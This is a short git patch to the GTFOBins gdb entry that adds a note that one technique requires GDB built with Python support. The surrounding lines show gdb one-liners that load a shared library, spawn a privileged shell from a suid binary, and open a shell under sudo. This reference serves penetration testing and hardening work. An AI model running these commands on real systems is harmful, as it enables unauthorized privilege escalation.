From 732e4f9ae47f75428ebe0b28e4858e00f2248da1 Mon Sep 17 00:00:00 2001 From: Emilio Date: Sat, 5 Jan 2019 11:28:25 +0000 Subject: [PATCH] Add missing description to gdb sudo --- _gtfobins/gdb.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/_gtfobins/gdb.md b/_gtfobins/gdb.md index df2766e..ad74793 100644 --- a/_gtfobins/gdb.md +++ b/_gtfobins/gdb.md @@ -48,7 +48,8 @@ functions: - description: This requires that GDB is compiled with Python support. code: gdb -nx -ex 'python from ctypes import cdll; cdll.LoadLibrary("lib.so")' -ex quit suid: - - code: ./gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit + - description: This requires that GDB is compiled with Python support. + code: ./gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit sudo: - code: sudo gdb -nx -ex '!sh' -ex quit capabilities: